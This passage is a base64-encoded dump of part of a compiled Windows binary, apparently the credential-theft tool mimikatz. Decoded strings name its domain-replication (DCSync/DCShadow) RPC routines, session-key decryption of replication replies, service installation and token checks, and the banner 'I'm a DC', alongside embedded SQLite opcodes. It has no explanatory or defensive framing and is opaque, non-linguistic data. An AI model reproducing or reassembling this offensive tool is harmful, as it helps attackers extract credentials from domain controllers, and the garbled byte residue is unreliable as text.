IAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAgACgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0ACAAUwBpAHoAZQAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAATgBvACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBEAEwAXwBEAFIAUwBCAGkAbgBkADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAE4ATwBfAEUAUgBSAE8AUgAAAAAARQBSAFIATwBSAF8AUgBFAFMATwBMAFYASQBOAEcAAABFAFIAUgBPAFIAXwBOAE8AVABfAEYATwBVAE4ARAAAAEUAUgBSAE8AUgBfAE4ATwBUAF8AVQBOAEkAUQBVAEUAAAAAAEUAUgBSAE8AUgBfAE4ATwBfAE0AQQBQAFAASQBOAEcAAAAAAEUAUgBSAE8AUgBfAEQATwBNAEEASQBOAF8ATwBOAEwAWQAAAEUAUgBSAE8AUgBfAE4ATwBfAFMAWQBOAFQAQQBDAFQASQBDAEEATABfAE0AQQBQAFAASQBOAEcAAAAAAEUAUgBSAE8AUgBfAFQAUgBVAFMAVABfAFIARQBGAEUAUgBSAEEATAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwAgACgAbgBhAG0AZQAgAHMAdABhAHQAdQBzACkAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAgAC0AIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAG4AbwAgAGkAdABlAG0AIQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzADoAIABiAGEAZAAgAHYAZQByAHMAaQBvAG4AIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAMS4yLjg0MC4xMTM1NTYuMS40LjkwAAAAMS4yLjg0MC4xMTM1NTYuMS40Ljk0AAAAMS4yLjg0MC4xMTM1NTYuMS40LjU1AAAAMS4yLjg0MC4xMTM1NTYuMS40LjE2MAAAMS4yLjg0MC4xMTM1NTYuMS40LjEyNQAAMS4yLjg0MC4xMTM1NTYuMS40LjEyOQAAMS4yLjg0MC4xMTM1NTYuMS40LjEzNQAAMS4yLjg0MC4xMTM1NTYuMS40LjI3AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABNAGEAawBlAEEAdAB0AGkAZAAgAGYAbwByACAAJQBTAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABDAGgAZQBjAGsAcwB1AG0AcwAgAGQAbwBuACcAdAAgAG0AYQB0AGMAaAAgACgAQwA6ADAAeAAlADAAOAB4ACAALQAgAFIAOgAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAGEAbABjAHUAbABhAHQAZQAgAEMAUgBDADMAMgAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAGEAdABhADIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIAB2AGEAbABpAGQAIABkAGEAdABhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIABTAGUAcwBzAGkAbwBuACAASwBlAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGUAYQB0AGUARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZQBuAGMAcgB5AHAAdAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAYQB0AGEAMgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAZQBhAHQAZQBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBlAG4AYwByAHkAcAB0ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwBhAGwAYwB1AGwAYQB0AGUAIABDAFIAQwAzADIACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAZQBhAHQAZQBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBlAG4AYwByAHkAcAB0ACAAOwAgAE4AbwAgAHYAYQBsAGkAZAAgAGQAYQB0AGEACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAZQBhAHQAZQBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBlAG4AYwByAHkAcAB0ACAAOwAgAE4AbwAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEMAUgBBAEMASwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAG4AYQBtAGUAQwByAGEAYwBrAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8ARABDAEkATgBGAE8AUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABUAE8ARABPACAAKABtAGEAeQBiAGUAPwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8ARABDAEkATgBGAE8AUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABkAGMATwB1AHQAVgBlAHIAcwBpAG8AbgAgAG4AbwB0ACAAdgBhAGwAaQBkACAAKAAwAHgAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8ATQBhAGsAZQBBAHQAdABpAGQAIAA7ACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBNAGEAawBlAEEAdAB0AGkAZABfAGEAZABkAFAAcgBlAGYAaQB4AFQAbwBUAGEAYgBsAGUACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAaQBuAGQAQQB0AHQAcgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGcAZQB0ACAAYQBuACAAQQBUAFQAUgBUAFkAUAAgAGYAbwByACAAJQBTAAoAAAAlAHMAJQAuACoAcwAlAHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8ATQBhAGsAZQBTAHAAbgBXAGkAdABoAEcAVQBJAEQAIAA7ACAAVQB1AGkAZABUAG8AUwB0AHIAaQBuAGcAKABpACkAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBNAGEAawBlAFMAcABuAFcAaQB0AGgARwBVAEkARAAgADsAIABVAHUAaQBkAFQAbwBTAHQAcgBpAG4AZwAoAHMAKQA6ACAAJQAwADgAeAAKAAAAAAAgAD4AIABCAGkAbgBkAFMAdAByAGkAbgBnAFsAJQB1AF0AOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAHMAdABhAHIAdABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAVABvAFMAdAByAGkAbgBnAEIAaQBuAGQAaQBuAGcAOgAgACUAMAA4AHgACgAAAG0AaQBtAGkAawBhAHQAegAgAEgAbwAsACAAaABlAHkAIQAgAEkAJwBtACAAYQAgAEQAQwAgADoAKQAAACAAPgAgAFIAUABDACAAYgBpAG4AZAAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAACAAPgAgAFIAUABDACAAUwBlAHIAdgBlAHIAIABpAHMAIAB3AGEAaQB0AGkAbgBnACEACgAAAAAAIAA+ACAAUgBQAEMAIABTAGUAcgB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIAB3AGEAaQB0AGkAbgBnACEACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AGEAcgB0AF8AcwBlAHIAdgBlAHIAIAA7ACAAUgBwAGMAUwBlAHIAdgBlAHIATABpAHMAdABlAG4AOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AGEAcgB0AF8AcwBlAHIAdgBlAHIAIAA7ACAAUgBwAGMARQBwAFIAZQBnAGkAcwB0AGUAcgA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AGEAcgB0AF8AcwBlAHIAdgBlAHIAIAA7ACAAUgBwAGMAUwBlAHIAdgBlAHIASQBuAHEAQgBpAG4AZABpAG4AZwBzADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAHMAdABhAHIAdABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAFMAZQByAHYAZQByAFIAZQBnAGkAcwB0AGUAcgBJAGYAMgA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBzAHQAYQByAHQAXwBzAGUAcgB2AGUAcgAgADsAIABSAHAAYwBTAGUAcgB2AGUAcgBSAGUAZwBpAHMAdABlAHIAQQB1AHQAaABJAG4AZgBvADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBzAHQAYQByAHQAXwBzAGUAcgB2AGUAcgAgADsAIABSAHAAYwBTAGUAcgB2AGUAcgBVAHMAZQBQAHIAbwB0AHMAZQBxAEUAcAA6ACAAJQAwADgAeAAKAAAAIAA+ACAAUgBQAEMAIABiAGkAbgBkACAAdQBuAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AG8AcABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAEUAcABVAG4AcgBlAGcAaQBzAHQAZQByADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AG8AcABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAFMAZQByAHYAZQByAEkAbgBxAEIAaQBuAGQAaQBuAGcAcwA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBzAHQAbwBwAF8AcwBlAHIAdgBlAHIAIAA7ACAAUgBwAGMAUwBlAHIAdgBlAHIAVQBuAHIAZQBnAGkAcwB0AGUAcgBJAGYAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AG8AcABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAE0AZwBtAHQAUwB0AG8AcABTAGUAcgB2AGUAcgBMAGkAcwB0AGUAbgBpAG4AZwA6ACAAJQAwADgAeAAKAAAAIAA+ACAAcwB0AG8AcABwAGkAbgBnACAAUgBQAEMAIABzAGUAcgB2AGUAcgAKAAAAIAA+ACAAUgBQAEMAIABzAGUAcgB2AGUAcgAgAHMAdABvAHAAcABlAGQACgAAAAAAVQQAAFUGAAAqhkiG9xQBAgAAAAAqhkiG9xQBAwAAAABghkgBZQICAQAAAABghkgBZQICAwAAAABghkgBZQIBBQAAAABghkgBZQIBBAAAAABVBQAAKoZIhvcUAQQAAAAAKoZIhvcUAQUAAAAACZImiZPyLGQAAAAAYIZIAYb4QgMAAAAACZImiZPyLGQBAAAAYIZIAYb4QgMBAAAAKoZIhvcUAQW2WAAAVRUAAFUSAABVFAAAKwYBBAGLOmV3AAAAUwBlAHIAdgBpAGMAZQBzAEEAYwB0AGkAdgBlAAAAAAAAAAAAWwArAF0AIAAnACUAcwAnACAAcwBlAHIAdgBpAGMAZQAgAGEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAAAAAFsAKgBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAFsAKwBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAAAAAABbACsAXQAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAQQBDAEwAIAB0AG8AIABlAHYAZQByAHkAbwBuAGUACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBpAG4AcwB0AGEAbABsACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGEAZABkAFcAbwByAGwAZABUAG8AUwBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBpAG4AcwB0AGEAbABsACAAOwAgAEMAcgBlAGEAdABlAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AaQBuAHMAdABhAGwAbAAgADsAIABPAHAAZQBuAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwArAF0AIAAnACUAcwAnACAAcwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdABlAGQACgAAAFsAKgBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIABhAGwAcgBlAGEAZAB5ACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGkAbgBzAHQAYQBsAGwAIAA7ACAAUwB0AGEAcgB0AFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBpAG4AcwB0AGEAbABsACAAOwAgAE8AcABlAG4AUwBDAE0AYQBuAGEAZwBlAHIAKABjAHIAZQBhAHQAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIABzAHQAbwBwAHAAZQBkAAoAAABbACoAXQAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwB1AG4AaQBuAHMAdABhAGwAbAAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AdQBuAGkAbgBzAHQAYQBsAGwAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAJQB3AFoAAAAlADAAMgB4AAAAAAAlADAAMgB4ACAAAAAwAHgAJQAwADIAeAAsACAAAAAAAFwAeAAlADAAMgB4AAAAAAAlADAAMgBYAAAAAAAKAEIAWQBUAEUAIABkAGEAdABhAFsAXQAgAD0AIAB7AAoACQAAAAAACQAAAAoAfQA7AAoAAAAAACUAcwAgAAAAJQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAGQAaQBzAHAAbABhAHkAUwBJAEQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbwBuAAAAAAB0AHIAdQBlAAAAAAAxAAAAbwBmAGYAAABmAGEAbABzAGUAAAAwAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBhAHIAZwBzAF8AYgBvAG8AbABfAGIAeQBOAGEAbQBlACAAOwAgACUAcwAgAGEAcgBnAHUAbQBlAG4AdAAgAG4AZQBlAGQAIABvAG4ALwB0AHIAdQBlAC8AMQAgAG8AcgAgAG8AZgBmAC8AZgBhAGwAcwBlAC8AMAAKAAAALS0tLS1CRUdJTiAlcy0tLS0tCiVzLS0tLS1FTkQgJXMtLS0tLQoAACUAaAB1AC8AJQBoAHUALwAlAGgAdQAgACUAaAB1ADoAJQBoAHUAOgAlAGgAdQAAACUAaAB1AC0AJQBoAHUALQAlAGgAdQAgACUAaAB1ADoAJQBoAHUAOgAlAGgAdQAAACUAaAB1AC8AJQBoAHUAIAAlAGgAdQA6ACUAaAB1ADoAJQBoAHUAAAAlAGgAdQAtACUAaAB1ACAAJQBoAHUAOgAlAGgAdQA6ACUAaAB1AAAAJQBoAHUAIAAlAGgAdQA6ACUAaAB1ADoAJQBoAHUAAAAlAGgAdQA6ACUAaAB1ADoAJQBoAHUAAAAlAGgAdQAvACUAaAB1AC8AJQBoAHUAAAAlAGgAdQAtACUAaAB1AC0AJQBoAHUAAAAlAGgAdQAvACUAaAB1AAAAJQBoAHUALQAlAGgAdQAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAEMAaABlAGMAawBUAG8AawBlAG4ATQBlAG0AYgBlAHIAcwBoAGkAcAAgADsAIABEAHUAcABsAGkAYwBhAHQAZQBUAG8AawBlAG4ARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAEMAaABlAGMAawBUAG8AawBlAG4ATQBlAG0AYgBlAHIAcwBoAGkAcAAgADsAIABDAGgAZQBjAGsAVABvAGsAZQBuAE0AZQBtAGIAZQByAHMAaABpAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAFUAcwBlAHIAAAAAAEcAcgBvAHUAcAAAAEQAbwBtAGEAaQBuAAAAAABBAGwAaQBhAHMAAABXAGUAbABsAEsAbgBvAHcAbgBHAHIAbwB1AHAAAAAAAEQAZQBsAGUAdABlAGQAQQBjAGMAbwB1AG4AdAAAAAAASQBuAHYAYQBsAGkAZAAAAFUAbgBrAG4AbwB3AG4AAABDAG8AbQBwAHUAdABlAHIAAAAAAEwAYQBiAGUAbAAAAHUAbgBrACEAAAAAAFQAbwBrAGUAbgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AFQAbwBrAGUAbgBzAFUAbgBpAHEAdQBlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGUAcQB1AGEAbAAgADsAIABOAHQAQwBvAG0AcABhAHIAZQBUAG8AawBlAG4AcwA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AeABtAGwAXwBDAHIAZQBhAHQAZQBBAG4AZABJAG4AaQB0AEQATwBNACAAOwAgAEMAbwBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwB4AG0AbABfAEwAbwBhAGQAWABNAEwARgBpAGwAZQAgADsAIABJAFgATQBMAEQATwBNAEQAbwBjAHUAbQBlAG4AdABfAGwAbwBhAGQAOgAgADAAeAAlADAAOAB4AAoAAAAAAG5jYWNuX25wAAAAAFxwaXBlXHNwb29sc3MAAABDT01QSUxFUj1tc3ZjLTE5MjkAAERFRkFVTFRfV0FMX1NZTkNIUk9OT1VTPTEAAABESVNBQkxFX0lOVFJJTlNJQwAAAExJS0VfRE9FU05UX01BVENIX0JMT0JTAE1BWF9FWFBSX0RFUFRIPTAAAAAAT01JVF9CRVRXRUVOX09QVElNSVpBVElPTgAAAE9NSVRfREVDTFRZUEUAAABPTUlUX0RFUFJFQ0FURUQAT01JVF9MSUtFX09QVElNSVpBVElPTgAAT01JVF9MT0NBTFRJTUUAAE9NSVRfT1JfT1BUSU1JWkFUSU9OAAAAAE9NSVRfUFJPR1JFU1NfQ0FMTEJBQ0sAAE9NSVRfU0hBUkVEX0NBQ0hFAAAAT01JVF9UQ0xfVkFSSUFCTEUAAABPTUlUX1RSVU5DQVRFX09QVElNSVpBVElPTgAAVEhSRUFEU0FGRT0wAAAAAFVOVEVTVEFCTEUAAFVTRV9BTExPQ0EAADIwYjoyMGUAMjBjOjIwZQAyMGUANDBmLTIxYS0yMWQAbm93AHNlY29uZAAAbWludXRlAABob3VyAAAAAGRheQBtb250aAAAAHllYXIAAAAAdW5peGVwb2NoAAAAd2Vla2RheSAAAAAAc3RhcnQgb2YgAAAAJTA0ZC0lMDJkLSUwMmQgJTAyZDolMDJkOiUwMmQAAAAlMDJkOiUwMmQ6JTAyZAAAJTA0ZC0lMDJkLSUwMmQAACUwMmQAAAAAJTA2LjNmAAAlMDNkAAAAACUuMTZnAAAAJWxsZAAAAAAlMDRkAAAAAGp1bGlhbmRheQAAAGRhdGUAAAAAdGltZQAAAABkYXRldGltZQAAAABzdHJmdGltZQAAAABjdXJyZW50X3RpbWUAAAAAY3VycmVudF90aW1lc3RhbXAAAABjdXJyZW50X2RhdGUAAAAAZmFpbGVkIHRvIGFsbG9jYXRlICV1IGJ5dGVzIG9mIG1lbW9yeQAAAGZhaWxlZCBtZW1vcnkgcmVzaXplICV1IHRvICV1IGJ5dGVzACUAAABOYU4AAAAAAE5VTEwAAAAAKE5VTEwpAAAuAAAAAAAAAAAAAAA5MjIzMzcyMDM2ODU0Nzc1ODAAAEFQSSBjYWxsIHdpdGggJXMgZGF0YWJhc2UgY29ubmVjdGlvbiBwb2ludGVyAAAAAHVub3BlbmVkAAAAAGludmFsaWQAU2F2ZXBvaW50AAAAQXV0b0NvbW1pdAAAVHJhbnNhY3Rpb24AU29ydGVyTmV4dAAAUHJldgAAAABOZXh0AAAAAENoZWNrcG9pbnQAAEpvdXJuYWxNb2RlAFZhY3V1bQAAVkZpbHRlcgBWVXBkYXRlAEdvdG8AAAAAR29zdWIAAABJbml0Q29yb3V0aW5lAAAAWWllbGQAAABNdXN0QmVJbnQAAABKdW1wAAAAAE9uY2UAAAAASWYAAE5vdABJZk5vdAAAAElmTnVsbFJvdwAAAFNlZWtMVAAAU2Vla0xFAABTZWVrR0UAAFNlZWtHVAAASWZOb0hvcGUAAAAATm9Db25mbGljdAAATm90Rm91bmQAAAAARm91bmQAAABTZWVrUm93aWQAAABOb3RFeGlzdHMAAABMYXN0AAAAAElmU21hbGxlcgAAAFNvcnRlclNvcnQAAFNvcnQAAAAAUmV3aW5kAABJZHhMRQAAAElkeEdUAAAASWR4TFQAAABJZHhHRQAAAFJvd1NldFJlYWQAAFJvd1NldFRlc3QAAE9yAABBbmQAUHJvZ3JhbQBGa0lmWmVybwAAAABJZlBvcwAAAElmTm90WmVybwAAAERlY3JKdW1wWmVybwAAAABJc051bGwAAE5vdE51bGwATmUAAEVxAABHdAAATGUAAEx0AABHZQAARWxzZU5vdEVxAAAASW5jclZhY3V1bQAAVk5leHQAAABJbml0AAAAAFB1cmVGdW5jMAAAAEZ1bmN0aW9uMAAAAFB1cmVGdW5jAAAAAEZ1bmN0aW9uAAAAAFJldHVybgAARW5kQ29yb3V0aW5lAAAAAEhhbHRJZk51bGwAAEhhbHQAAAAASW50ZWdlcgBJbnQ2NAAAAFN0cmluZwAATnVsbAAAAABTb2Z0Tn